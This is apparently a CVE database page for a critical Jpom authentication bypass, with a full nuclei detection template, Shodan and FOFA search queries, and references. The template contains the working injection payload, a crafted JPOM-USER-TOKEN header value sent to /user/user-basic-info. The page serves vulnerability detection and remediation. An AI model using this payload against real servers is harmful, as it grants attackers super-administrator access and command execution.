Browse / CVEs / CVE-2026-120201
CVE-2026-120201· dromara / jpom· CWE-943
Jpom 2.10.0-2.11.12 - Authentication Bypass
criticalseverity
9.8CVSS score
2.1%likelihood of exploitation, next 30 days
82%of all CVEs are less likely
Readycheck to confirm it
Jpom 2.10.0 through 2.11.12 contains an authentication bypass caused by injection of query conditions into the JPOM-USER-TOKEN header, letting unauthenticated attackers gain super-administrator access and execute commands, exploit requires crafted header injection.
Impact
Unauthenticated attackers can gain super-administrator access and execute arbitrary commands, leading to full system compromise.
Fix
Update to version later than 2.11.12 or latest available version.
How to confirm it
Send: POST /user/user-basic-info
Positive when: status_code == 200 and contains(content_type, "json") and !contains(body, "md5Token")
Send: POST /user/user-basic-info
Positive when: status_code == 200 and contains(content_type, "json") and contains_all(body, "md5Token", "systemUser", "success")Run it with nuclei: nuclei -id CVE-2026-120201 -u <target>
The full check
id: CVE-2026-120201
info:
name: Jpom 2.10.0-2.11.12 - Authentication Bypass
author: 0x_Akoko
severity: critical
description: |
Jpom 2.10.0 through 2.11.12 contains an authentication bypass caused by injection of query conditions into the JPOM-USER-TOKEN header, letting unauthenticated attackers gain super-administrator access and execute commands, exploit requires crafted header injection.
impact: |
Unauthenticated attackers can gain super-administrator access and execute arbitrary commands, leading to full system compromise.
remediation: |
Update to version later than 2.11.12 or latest available version.
reference:
- https://github.com/dromara/Jpom/issues/121
- https://nvd.nist.gov/vuln/detail/CVE-2026-120201
- https://www.vulncheck.com/advisories/jpom-2.10.0-through-2.11.12-authentication-bypass-via-jpom-user-token-header
- https://github.com/dromara/Jpom/blob/v2.11.12/modules/server/src/main/java/org/dromara/jpom/common/interceptor/LoginInterceptor.java#L146
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-120201
epss-score: 0.02139
epss-percentile: 0.8218
cwe-id: CWE-943
metadata:
verified: true
max-request: 2
vendor: dromara
product: jpom
shodan-query: http.title:"Jpom"
fofa-query: title="Jpom"
tags: cve,cve2026,jpom,dromara,auth-bypass,unauth
flow: http(1) && http(2)
http:
- raw:
- |
POST /user/user-basic-info HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- '!contains(body, "md5Token")'
condition: and
internal: true
- raw:
- |
POST /user/user-basic-info HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
JPOM-USER-TOKEN: is not null
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- 'contains_all(body, "md5Token", "systemUser", "success")'
condition: andReferences
- https://github.com/dromara/Jpom/issues/121
- https://nvd.nist.gov/vuln/detail/CVE-2026-120201
- https://www.vulncheck.com/advisories/jpom-2.10.0-through-2.11.12-authentication-bypass-via-jpom-user-token-header
- https://github.com/dromara/Jpom/blob/v2.11.12/modules/server/src/main/java/org/dromara/jpom/common/interceptor/LoginInterceptor.java#L146
Use this check only on systems you are authorised to test. Where the data comes from